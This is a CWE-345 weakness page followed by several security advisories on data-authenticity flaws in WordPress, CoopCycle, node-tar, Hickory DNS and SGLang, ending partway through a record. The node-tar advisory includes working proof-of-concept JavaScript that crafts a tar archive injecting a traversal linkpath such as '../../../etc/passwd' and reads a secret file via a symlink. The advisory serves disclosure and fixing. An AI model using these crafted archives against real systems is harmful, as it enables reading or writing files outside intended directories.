Common Weakness Enumeration

CWE-345

Weakness Discouraged

Insufficient Verification of Data Authenticity

Abstraction: Class · Status: Draft

The product does not sufficiently verify the origin or authenticity of data, in a way that causes it to accept invalid data.

Dimensions

  • Behavior-Type: Verification
  • Behavior-Property: Insufficient
  • Info-Type: Data
  • Info-Property: Authenticity
Mapping guidance

This CWE entry is a level-1 Class (i.e., a child of a Pillar). It might have lower-level children that would be more appropriate

Examine children of this entry to see if there is a better fit

Relationships and members
ChildOf: CWE-693 · View CWE-1000
Modes of introduction
Architecture and Design
Implementation

REALIZATION: This weakness is caused during implementation of an architectural security tactic.

Detection methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

Notes

Relationship

"origin validation" could fall under this.

Maintenance

The specific ways in which the origin is not properly identified should be laid out as separate weaknesses. In some sense, this is more like a category.

Content history
Submission: PLOVER · 2006-07-19 · CWE Draft 3
Modification: Eric Dalci · Cigital · 2008-07-01 · CWE 1.0

updated Time_of_Introduction

Modification: CWE Content Team · MITRE · 2008-09-08 · CWE 1.0

updated Maintenance_Notes, Relationships, Relationship_Notes, Taxonomy_Mappings

Modification: CWE Content Team · MITRE · 2009-05-27 · CWE 1.4

updated Related_Attack_Patterns

Modification: CWE Content Team · MITRE · 2009-07-27 · CWE 1.5

updated Related_Attack_Patterns

Modification: CWE Content Team · MITRE · 2010-02-16 · CWE 1.8

updated Taxonomy_Mappings

Modification: CWE Content Team · MITRE · 2010-04-05 · CWE 1.8.1

updated Related_Attack_Patterns

Modification: CWE Content Team · MITRE · 2010-12-13 · CWE 1.11

updated Related_Attack_Patterns

Modification: CWE Content Team · MITRE · 2011-06-01 · CWE 1.13

updated Common_Consequences

Modification: CWE Content Team · MITRE · 2011-06-27 · CWE 2.0

updated Common_Consequences

Modification: CWE Content Team · MITRE · 2012-05-11 · CWE 2.2

updated References, Related_Attack_Patterns, Relationships

Modification: CWE Content Team · MITRE · 2013-07-17 · CWE 2.5

updated Relationships

Modification: CWE Content Team · MITRE · 2014-07-30 · CWE 2.8

updated Relationships

Modification: CWE Content Team · MITRE · 2015-12-07 · CWE 2.9

updated Relationships

Modification: CWE Content Team · MITRE · 2017-05-03 · CWE 2.11

updated Related_Attack_Patterns

Modification: CWE Content Team · MITRE · 2017-11-08 · CWE 3.0

updated Applicable_Platforms, Modes_of_Introduction, Relationships

Modification: CWE Content Team · MITRE · 2019-06-20 · CWE 3.3

updated Related_Attack_Patterns, Relationships

Modification: CWE Content Team · MITRE · 2020-02-24 · CWE 4.0

updated Relationships

Modification: CWE Content Team · MITRE · 2020-06-25 · CWE 4.1

updated Relationships

Modification: CWE Content Team · MITRE · 2020-08-20 · CWE 4.2

updated Relationships

Modification: CWE Content Team · MITRE · 2021-07-20 · CWE 4.5

updated Related_Attack_Patterns

Modification: CWE Content Team · MITRE · 2021-10-28 · CWE 4.6

updated Relationships

Modification: CWE Content Team · MITRE · 2023-01-31 · CWE 4.10

updated Applicable_Platforms, Demonstrative_Examples, Description, Observed_Examples, References, Related_Attack_Patterns

Modification: CWE Content Team · MITRE · 2023-04-27 · CWE 4.11

updated Detection_Factors, Relationships

Modification: CWE Content Team · MITRE · 2023-06-29 · CWE 4.12

updated Mapping_Notes

Modification: CWE Content Team · MITRE · 2024-02-29 · CWE 4.14

updated Mapping_Notes

Modification: CWE Content Team · MITRE · 2025-12-11 · CWE 4.19

updated Relationships, Weakness_Ordinalities

Modification: CWE Content Team · MITRE · 2026-10-28 · CWE 5.0

updated Dimensions, References, Relationships, Taxonomy_Mappings

1490 vulnerabilities reference this CWE, most recent first.

GHSA-FF8M-XXV4-V5MC

Vulnerability from github – Published: 2026-09-11 12:33 – Updated: 2026-09-11 12:33
VLAI
Details

The Persian Elementor WordPress plugin from 2.7.10 before 2.8.2 does not verify that the payment authority returned to its ZarinPal payment callback belongs to the transaction being completed, allowing unauthenticated attackers to complete a pending order using a valid payment authority obtained from a different transaction.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-86809"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-345"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-11T11:16:57Z",
    "severity": "MODERATE"
  },
  "details": "The Persian Elementor WordPress plugin from 2.7.10 before 2.8.2 does not verify that the payment authority returned to its ZarinPal payment callback belongs to the transaction being completed, allowing unauthenticated attackers to complete a pending order using a valid payment authority obtained from a different transaction.",
  "id": "GHSA-ff8m-xxv4-v5mc",
  "modified": "2026-09-11T12:33:25Z",
  "published": "2026-09-11T12:33:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-86809"
    },
    {
      "type": "WEB",
      "url": "https://wpscan.com/vulnerability/ed1f8ac4-078b-49c6-b7c5-7d422a20e59e"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-FFFC-W3W6-P7QP

Vulnerability from github – Published: 2026-11-04 15:32 – Updated: 2026-11-04 15:32
VLAI
Details

CoopCycle coopcycle-web 5.6.0 before 6.20.0 contains a missing authentication vulnerability that allows unauthenticated attackers to forge Zelty webhook events because the x-zelty-hmac-sha256 HMAC signature is never verified. Attackers can POST forged dish, menu, option and order-status events to /api/zelty/webhook/* endpoints to toggle restaurant products and alter order preparation states.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-121620"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-345"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-11-04T13:17:27Z",
    "severity": "HIGH"
  },
  "details": "CoopCycle coopcycle-web 5.6.0 before 6.20.0 contains a missing authentication vulnerability that allows unauthenticated attackers to forge Zelty webhook events because the x-zelty-hmac-sha256 HMAC signature is never verified. Attackers can POST forged dish, menu, option and order-status events to /api/zelty/webhook/* endpoints to toggle restaurant products and alter order preparation states.",
  "id": "GHSA-fffc-w3w6-p7qp",
  "modified": "2026-11-04T15:32:29Z",
  "published": "2026-11-04T15:32:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-121620"
    },
    {
      "type": "WEB",
      "url": "https://github.com/coopcycle/coopcycle-web/commit/9b499950d433ca8ba894996d6b17f49885ca9485"
    },
    {
      "type": "WEB",
      "url": "https://github.com/coopcycle/coopcycle-web/blob/v6.19.1/config/packages/security.yaml#L328-L330"
    },
    {
      "type": "WEB",
      "url": "https://github.com/coopcycle/coopcycle-web/blob/v6.19.1/src/Integration/Zelty/ZeltyCatalogProcessor.php#L51-L57"
    },
    {
      "type": "WEB",
      "url": "https://github.com/coopcycle/coopcycle-web/releases/tag/v6.20.0"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/coopcycle-coopcycle-web-5.6.0-before-6.20.0-missing-zelty-webhook-signature-verification"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-FFHW-4R4Q-5CWV

Vulnerability from github – Published: 2026-12-02 01:25 – Updated: 2026-12-02 01:25
VLAI
Summary
node-tar: Global PAX extended header injects attacker-controlled linkpath into tar.Parser entries, bypassing strict-mode validation
Details

Summary

A tar archive with a Global Extended Header (PAX type g) with a linkpath field injects that value into every entry returned by tar.Parser , including plain File and Directory entries, with zero warnings under strict: true. This happens because header.js's #slurp() correctly excludes linkpath from global headers, but read-entry.js's #slurp() does not apply the same filter. Any application that consumes tar.Parser or tar.list() directly and uses entry.linkpath to build paths or create symlinks, without revalidating the value, can be made to read or write files outside the intended directory via a crafted symlink.


Details

There are two separate #slurp() implementations apply Global Extended Header (g-type) fields to parsed state, and they filter different fields.

In src/header.js, #slurp(ex, gex = false) correctly excludes linkpath when gex is true:

// header.js (correct)
if (k === 'linkpath' && gex) continue;

In src/read-entry.js, the equivalent method has no such clause — it only excludes path:

// read-entry.js (bug: linkpath is not excluded)
if (k === 'path' && gex) continue;
// linkpath from the GEX is not filtered here

The execution flow:

  1. parse.js calls Pax.parse(meta, gex, true) → stores the GEX object, including the linkpath field
  2. header.js decode runs #slurp(gex, true) → correctly skips linkpath → header.linkpath is empty
  3. consumeHeader() checks header.linkpath (empty) → the "linkpath forbidden in global header" warning never fires
  4. ReadEntry constructor runs this.#slurp(gex, true) → no linkpath filter → entry.linkpath is set to the attacker's value with no warning raised

Confirmed against tar@7.5.22:

  • node_modules/tar/dist/commonjs/read-entry.js lines 122–132 (buggy #slurp)
  • node_modules/tar/dist/commonjs/header.js lines 184–194 (correct #slurp)

Scope note: tar's own extraction engine (Unpack, used by tar.x() / tar.extract()) has a separate guard, STRIPABSOLUTEPATH, that resolves linkpath relative to the entry's directory and rejects it if it escapes cwd. This guard fires after ReadEntry is constructed and blocks the traversal at extraction time:

  • tar.x() / tar.extract() → not vulnerable (confirmed: throws TAR_ENTRY_ERROR: linkpath escapes extraction directory)
  • tar.Parser / tar.list() direct consumers that trust entry.linkpath → vulnerable

Proof of Concept

Environment: Node.js v22.23.4, tar@7.5.22. Run: npm install tar@7.5.22 && node <script>.js

poc-tar1.js — zero-warning injection via tar.Parser with strict: true

const tar = require('tar')

function padBlock(buf) {
  const rem = buf.length % 512
  return rem === 0 ? buf : Buffer.concat([buf, Buffer.alloc(512 - rem)])
}
function mkHeader(fields) {
  const b = Buffer.alloc(512, 0)
  const ws = (s, off, len) =>
    b.write(String(s || '').slice(0, len).padEnd(len, '\0'), off, 'latin1')
  const wo = (n, off, len) =>
    ws(n.toString(8).padStart(len - 1, '0') + '\0', off, len)
  ws(fields.path  || 'file', 0,   100)
  wo(fields.mode  || 0o644,  100, 8)
  wo(0, 108, 8); wo(0, 116, 8)
  wo(fields.size  || 0,      124, 12)
  wo(Math.floor(Date.now() / 1000), 136, 12)
  b.write('        ', 148, 'latin1')
  ws(fields.type  || '0',    156, 1)
  ws(fields.linkpath || '',  157, 100)
  b.write('ustar\000', 257, 'latin1')
  b.write('00',        263, 'latin1')
  let sum = 0
  for (let i = 0; i < 512; i++) sum += b[i]
  wo(sum, 148, 8)
  return b
}
function mkGEX(kvpairs) {
  let body = ''
  for (const [k, v] of Object.entries(kvpairs)) {
    const keyval = ` ${k}=${v}\n`
    const len = String(keyval.length).length + keyval.length
    body += `${len} ${k}=${v}\n`
  }
  const bodyBuf = Buffer.from(body, 'utf8')
  const hdr = mkHeader({ path: 'GlobalPaxHeader', size: bodyBuf.length, type: 'g' })
  return Buffer.concat([hdr, padBlock(bodyBuf)])
}

const archive = Buffer.concat([
  mkGEX({ linkpath: '../../../etc/passwd' }),
  mkHeader({ path: 'README.md',    type: '0', size: 0 }),
  mkHeader({ path: 'src/index.js', type: '0', size: 0 }),
  mkHeader({ path: 'package.json', type: '0', size: 0 }),
  Buffer.alloc(1024, 0),
])

const warnings = []
const parser = new tar.Parser({ strict: true, onwarn: (c, m) => warnings.push(m) })
parser.on('entry', entry => {
  console.log(`${entry.path} | ${entry.type} | linkpath: ${entry.linkpath}`)
  entry.resume()
})
parser.on('end', () => {
  console.log('warnings under strict:true:', warnings.length === 0 ? 'NONE' : warnings)
})
parser.end(archive)

Expected output:

README.md    | File | linkpath: ../../../etc/passwd
src/index.js | File | linkpath: ../../../etc/passwd
package.json | File | linkpath: ../../../etc/passwd
warnings under strict:true: NONE

chain-tar1.js — arbitrary file read via a vulnerable downstream consumer

Models a tool that uses tar.Parser to inspect an archive and then acts on entry.linkpath without checking it:

const tar  = require('tar')
const fs   = require('fs')
const path = require('path')
const os   = require('os')

const tmpdir = fs.mkdtempSync(path.join(os.tmpdir(), 'chain-'))
const cwd    = path.join(tmpdir, 'extract')
const secret = path.join(tmpdir, 'secret.txt')
fs.mkdirSync(cwd)
fs.writeFileSync(secret, 'db_password=hunter2\napi_key=sk-REAL\n')

// Same helpers (padBlock, mkHeader, mkGEX) as poc-tar1.js above

const archive = Buffer.concat([
  mkGEX({ linkpath: '../../secret.txt' }),
  mkHeader({ path: 'subdir/link', type: '2', linkpath: 'safe' }),
  Buffer.alloc(1024, 0),
])

const parser = new tar.Parser()
parser.on('entry', entry => {
  if (entry.type === 'SymbolicLink') {
    const target   = entry.linkpath   // GEX-injected value
    const linkAt   = path.join(cwd, entry.path)
    fs.mkdirSync(path.dirname(linkAt), { recursive: true })
    fs.symlinkSync(target, linkAt)
    const resolved = path.resolve(path.dirname(linkAt), target)
    console.log('symlink:', linkAt, '->', target)
    console.log('escapes cwd:', !resolved.startsWith(cwd))
    if (fs.existsSync(resolved))
      console.log('READ:', fs.readFileSync(resolved, 'utf8'))
  }
  entry.resume()
})
parser.end(archive)

control-tar1-extraction-not-vulnerable.js — confirms tar.x() is not affected

The same archive fed to tar.x() throws TAR_ENTRY_ERROR: linkpath escapes extraction directory. The Unpack layer's STRIPABSOLUTEPATH guard blocks the traversal at extraction time.


Impact

CWE-20: Improper Input Validation CWE-345: Insufficient Verification of Data Authenticity

Impacted: any application or tool that uses tar.Parser or tar.list() directly and uses entry.linkpath to build filesystem paths, create symlinks, or make routing decisions without checking that the value stays within the expected directory. This includes archive inspection tools, CI/CD tarball scanners, and custom extraction logic built on top of the Parser API. It also breaks strict: true, which is supposed to throw on dangerous archive contents.

Not impacted: applications that only use tar.x() / tar.extract() for extraction, because Unpack's STRIPABSOLUTEPATH guard rejects an escaping linkpath at that layer.

Impact on a vulnerable consumer is arbitrary file read and/or write outside the extraction directory via a crafted symlink.


Suggested Fix

One line in src/read-entry.ts, inside #slurp(), adding the same filter that already exists in src/header.ts:

// before (read-entry.ts)
return !(v === null || v === undefined || (k === 'path' && gex));

// after
return !(v === null || v === undefined || (k === 'path' && gex) || (k === 'linkpath' && gex));
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "tar"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "8.0.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-140239"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-345"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-12-02T01:25:07Z",
    "nvd_published_at": "2026-12-01T18:17:27Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nA tar archive with a **Global Extended Header** (PAX type `g`) with a `linkpath` field injects that value into every entry returned by `tar.Parser` , including plain `File` and `Directory` entries, with **zero warnings under `strict: true`**. This happens because `header.js`\u0027s `#slurp()` correctly excludes `linkpath` from global headers, but `read-entry.js`\u0027s `#slurp()` does not apply the same filter. Any application that consumes `tar.Parser` or `tar.list()` directly and uses `entry.linkpath` to build paths or create symlinks, without revalidating the value, can be made to read or write files outside the intended directory via a crafted symlink.\n\n---\n\n## Details\n\nThere are two separate `#slurp()` implementations apply Global Extended Header (`g`-type) fields to parsed state, and they filter different fields.\n\nIn `src/header.js`, `#slurp(ex, gex = false)` **correctly** excludes `linkpath` when `gex` is `true`:\n\n```js\n// header.js (correct)\nif (k === \u0027linkpath\u0027 \u0026\u0026 gex) continue;\n```\n\nIn `src/read-entry.js`, the equivalent method has **no such clause** \u2014 it only excludes `path`:\n\n```js\n// read-entry.js (bug: linkpath is not excluded)\nif (k === \u0027path\u0027 \u0026\u0026 gex) continue;\n// linkpath from the GEX is not filtered here\n```\n\nThe execution flow:\n\n1. `parse.js` calls `Pax.parse(meta, gex, true)` \u2192 stores the GEX object, including the `linkpath` field\n2. `header.js` decode runs `#slurp(gex, true)` \u2192 correctly skips `linkpath` \u2192 `header.linkpath` is empty\n3. `consumeHeader()` checks `header.linkpath` (empty) \u2192 the `\"linkpath forbidden in global header\"` warning **never fires**\n4. `ReadEntry` constructor runs `this.#slurp(gex, true)` \u2192 no `linkpath` filter \u2192 **`entry.linkpath` is set to the attacker\u0027s value with no warning raised**\n\nConfirmed against `tar@7.5.22`:\n\n- `node_modules/tar/dist/commonjs/read-entry.js` lines 122\u2013132 (buggy `#slurp`)\n- `node_modules/tar/dist/commonjs/header.js` lines 184\u2013194 (correct `#slurp`)\n\n**Scope note:** `tar`\u0027s own extraction engine (`Unpack`, used by `tar.x()` / `tar.extract()`) has a separate guard, `STRIPABSOLUTEPATH`, that resolves `linkpath` relative to the entry\u0027s directory and rejects it if it escapes `cwd`. This guard fires **after** `ReadEntry` is constructed and blocks the traversal at extraction time:\n\n- `tar.x()` / `tar.extract()` \u2192 **not vulnerable** (confirmed: throws `TAR_ENTRY_ERROR: linkpath escapes extraction directory`)\n- `tar.Parser` / `tar.list()` direct consumers that trust `entry.linkpath` \u2192 **vulnerable**\n\n---\n\n## Proof of Concept\n\nEnvironment: Node.js v22.23.4, `tar@7.5.22`. Run: `npm install tar@7.5.22 \u0026\u0026 node \u003cscript\u003e.js`\n\n### poc-tar1.js \u2014 zero-warning injection via `tar.Parser` with `strict: true`\n\n```js\nconst tar = require(\u0027tar\u0027)\n\nfunction padBlock(buf) {\n  const rem = buf.length % 512\n  return rem === 0 ? buf : Buffer.concat([buf, Buffer.alloc(512 - rem)])\n}\nfunction mkHeader(fields) {\n  const b = Buffer.alloc(512, 0)\n  const ws = (s, off, len) =\u003e\n    b.write(String(s || \u0027\u0027).slice(0, len).padEnd(len, \u0027\\0\u0027), off, \u0027latin1\u0027)\n  const wo = (n, off, len) =\u003e\n    ws(n.toString(8).padStart(len - 1, \u00270\u0027) + \u0027\\0\u0027, off, len)\n  ws(fields.path  || \u0027file\u0027, 0,   100)\n  wo(fields.mode  || 0o644,  100, 8)\n  wo(0, 108, 8); wo(0, 116, 8)\n  wo(fields.size  || 0,      124, 12)\n  wo(Math.floor(Date.now() / 1000), 136, 12)\n  b.write(\u0027        \u0027, 148, \u0027latin1\u0027)\n  ws(fields.type  || \u00270\u0027,    156, 1)\n  ws(fields.linkpath || \u0027\u0027,  157, 100)\n  b.write(\u0027ustar\\000\u0027, 257, \u0027latin1\u0027)\n  b.write(\u002700\u0027,        263, \u0027latin1\u0027)\n  let sum = 0\n  for (let i = 0; i \u003c 512; i++) sum += b[i]\n  wo(sum, 148, 8)\n  return b\n}\nfunction mkGEX(kvpairs) {\n  let body = \u0027\u0027\n  for (const [k, v] of Object.entries(kvpairs)) {\n    const keyval = ` ${k}=${v}\\n`\n    const len = String(keyval.length).length + keyval.length\n    body += `${len} ${k}=${v}\\n`\n  }\n  const bodyBuf = Buffer.from(body, \u0027utf8\u0027)\n  const hdr = mkHeader({ path: \u0027GlobalPaxHeader\u0027, size: bodyBuf.length, type: \u0027g\u0027 })\n  return Buffer.concat([hdr, padBlock(bodyBuf)])\n}\n\nconst archive = Buffer.concat([\n  mkGEX({ linkpath: \u0027../../../etc/passwd\u0027 }),\n  mkHeader({ path: \u0027README.md\u0027,    type: \u00270\u0027, size: 0 }),\n  mkHeader({ path: \u0027src/index.js\u0027, type: \u00270\u0027, size: 0 }),\n  mkHeader({ path: \u0027package.json\u0027, type: \u00270\u0027, size: 0 }),\n  Buffer.alloc(1024, 0),\n])\n\nconst warnings = []\nconst parser = new tar.Parser({ strict: true, onwarn: (c, m) =\u003e warnings.push(m) })\nparser.on(\u0027entry\u0027, entry =\u003e {\n  console.log(`${entry.path} | ${entry.type} | linkpath: ${entry.linkpath}`)\n  entry.resume()\n})\nparser.on(\u0027end\u0027, () =\u003e {\n  console.log(\u0027warnings under strict:true:\u0027, warnings.length === 0 ? \u0027NONE\u0027 : warnings)\n})\nparser.end(archive)\n```\n\n**Expected output:**\n\n```\nREADME.md    | File | linkpath: ../../../etc/passwd\nsrc/index.js | File | linkpath: ../../../etc/passwd\npackage.json | File | linkpath: ../../../etc/passwd\nwarnings under strict:true: NONE\n```\n\n### chain-tar1.js \u2014 arbitrary file read via a vulnerable downstream consumer\n\nModels a tool that uses `tar.Parser` to inspect an archive and then acts on `entry.linkpath` without checking it:\n\n```js\nconst tar  = require(\u0027tar\u0027)\nconst fs   = require(\u0027fs\u0027)\nconst path = require(\u0027path\u0027)\nconst os   = require(\u0027os\u0027)\n\nconst tmpdir = fs.mkdtempSync(path.join(os.tmpdir(), \u0027chain-\u0027))\nconst cwd    = path.join(tmpdir, \u0027extract\u0027)\nconst secret = path.join(tmpdir, \u0027secret.txt\u0027)\nfs.mkdirSync(cwd)\nfs.writeFileSync(secret, \u0027db_password=hunter2\\napi_key=sk-REAL\\n\u0027)\n\n// Same helpers (padBlock, mkHeader, mkGEX) as poc-tar1.js above\n\nconst archive = Buffer.concat([\n  mkGEX({ linkpath: \u0027../../secret.txt\u0027 }),\n  mkHeader({ path: \u0027subdir/link\u0027, type: \u00272\u0027, linkpath: \u0027safe\u0027 }),\n  Buffer.alloc(1024, 0),\n])\n\nconst parser = new tar.Parser()\nparser.on(\u0027entry\u0027, entry =\u003e {\n  if (entry.type === \u0027SymbolicLink\u0027) {\n    const target   = entry.linkpath   // GEX-injected value\n    const linkAt   = path.join(cwd, entry.path)\n    fs.mkdirSync(path.dirname(linkAt), { recursive: true })\n    fs.symlinkSync(target, linkAt)\n    const resolved = path.resolve(path.dirname(linkAt), target)\n    console.log(\u0027symlink:\u0027, linkAt, \u0027-\u003e\u0027, target)\n    console.log(\u0027escapes cwd:\u0027, !resolved.startsWith(cwd))\n    if (fs.existsSync(resolved))\n      console.log(\u0027READ:\u0027, fs.readFileSync(resolved, \u0027utf8\u0027))\n  }\n  entry.resume()\n})\nparser.end(archive)\n```\n\n### control-tar1-extraction-not-vulnerable.js \u2014 confirms `tar.x()` is not affected\n\nThe same archive fed to `tar.x()` throws `TAR_ENTRY_ERROR: linkpath escapes extraction directory`. The `Unpack` layer\u0027s `STRIPABSOLUTEPATH` guard blocks the traversal at extraction time.\n\n---\n\n## Impact\n\n**CWE-20:** Improper Input Validation **CWE-345:** Insufficient Verification of Data Authenticity\n\nImpacted: any application or tool that uses `tar.Parser` or `tar.list()` directly and uses `entry.linkpath` to build filesystem paths, create symlinks, or make routing decisions **without checking that the value stays within the expected directory**. This includes archive inspection tools, CI/CD tarball scanners, and custom extraction logic built on top of the `Parser` API. It also breaks `strict: true`, which is supposed to throw on dangerous archive contents.\n\nNot impacted: applications that only use `tar.x()` / `tar.extract()` for extraction, because `Unpack`\u0027s `STRIPABSOLUTEPATH` guard rejects an escaping `linkpath` at that layer.\n\nImpact on a vulnerable consumer is **arbitrary file read and/or write** outside the extraction directory via a crafted symlink.\n\n---\n\n## Suggested Fix\n\nOne line in `src/read-entry.ts`, inside `#slurp()`, adding the same filter that already exists in `src/header.ts`:\n\n```ts\n// before (read-entry.ts)\nreturn !(v === null || v === undefined || (k === \u0027path\u0027 \u0026\u0026 gex));\n\n// after\nreturn !(v === null || v === undefined || (k === \u0027path\u0027 \u0026\u0026 gex) || (k === \u0027linkpath\u0027 \u0026\u0026 gex));\n```",
  "id": "GHSA-ffhw-4r4q-5cwv",
  "modified": "2026-12-02T01:25:07Z",
  "published": "2026-12-02T01:25:07Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-ffhw-4r4q-5cwv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-140239"
    },
    {
      "type": "WEB",
      "url": "https://github.com/isaacs/node-tar/commit/f351e5b4a8916bc8c8f821d0ad926a17d26ea237"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/isaacs/node-tar"
    },
    {
      "type": "WEB",
      "url": "https://github.com/isaacs/node-tar/releases/tag/v8.0.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "node-tar: Global PAX extended header injects attacker-controlled linkpath into tar.Parser entries, bypassing strict-mode validation"
}

GHSA-FFQJ-6RQC-8HR7

Vulnerability from github – Published: 2023-02-09 21:30 – Updated: 2023-02-21 21:30
VLAI
Details

Insufficient Verification of Data Authenticity vulnerability in Routine prior to versions 2.6.30.6 in Android Q(10), 3.1.21.10 in Android R(11) and 3.5.2.23 in Android S(12) allows local attacker to access protected files via unused code.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-21441"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-345"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-02-09T19:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Insufficient Verification of Data Authenticity vulnerability in Routine prior to versions 2.6.30.6 in Android Q(10), 3.1.21.10 in Android R(11) and 3.5.2.23 in Android S(12) allows local attacker to access protected files via unused code.",
  "id": "GHSA-ffqj-6rqc-8hr7",
  "modified": "2023-02-21T21:30:19Z",
  "published": "2023-02-09T21:30:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-21441"
    },
    {
      "type": "WEB",
      "url": "https://security.samsungmobile.com/serviceWeb.smsb?year=2023\u0026month=02"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-FG2P-GXQH-HM83

Vulnerability from github – Published: 2026-11-08 03:30 – Updated: 2026-11-08 03:30
VLAI
Details

Hickory DNS hickory-proto through 0.26.0-alpha.1 and hickory-net 0.26.0-beta.1 before 0.26.2 contain an NSEC validation flaw that returns a secure proof for NXDOMAIN responses when the covering NSEC's Next Domain Name is a strict descendant of the query name, which actually proves the name exists as an empty non-terminal. On-path attackers can flip the unsigned rcode of a genuine signed NODATA response from NOERROR to NXDOMAIN, causing validators to accept forged nonexistence of the name.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-123594"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-345"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-11-08T02:16:53Z",
    "severity": "MODERATE"
  },
  "details": "Hickory DNS hickory-proto through 0.26.0-alpha.1 and hickory-net 0.26.0-beta.1 before 0.26.2 contain an NSEC validation flaw that returns a secure proof for NXDOMAIN responses when the covering NSEC\u0027s Next Domain Name is a strict descendant of the query name, which actually proves the name exists as an empty non-terminal. On-path attackers can flip the unsigned rcode of a genuine signed NODATA response from NOERROR to NXDOMAIN, causing validators to accept forged nonexistence of the name.",
  "id": "GHSA-fg2p-gxqh-hm83",
  "modified": "2026-11-08T03:30:35Z",
  "published": "2026-11-08T03:30:35Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/hickory-dns/hickory-dns/security/advisories/GHSA-86vr-jm6c-7cpg"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-123594"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/hickory-dns-through-0.26.0-alpha.1-dnssec-nsec-validation-bypass-for-empty-non-terminals"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-FGFF-M398-2GH5

Vulnerability from github – Published: 2026-10-16 18:34 – Updated: 2026-10-16 18:34
VLAI
Details

SGLang through 0.5.21 trusts caller-supplied mm_hashes values as the multimodal prefix-cache key, allowing remote attackers to poison cached KV entries across requests. Attackers can send a different image under a known or predicted hash via /generate to disclose another request's image content or corrupt victims' responses.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-111392"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-345"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-10-16T18:17:38Z",
    "severity": "MODERATE"
  },
  "details": "SGLang through 0.5.21 trusts caller-supplied mm_hashes values as the multimodal prefix-cache key, allowing remote attackers to poison cached KV entries across requests. Attackers can send a different image under a known or predicted hash via /generate to disclose another request\u0027s image content or corrupt victims\u0027 responses.",
  "id": "GHSA-fgff-m398-2gh5",
  "modified": "2026-10-16T18:34:42Z",
  "published": "2026-10-16T18:34:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-111392"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sgl-project/sglang/issues/44641"
    },
    {
      "type": "WEB",
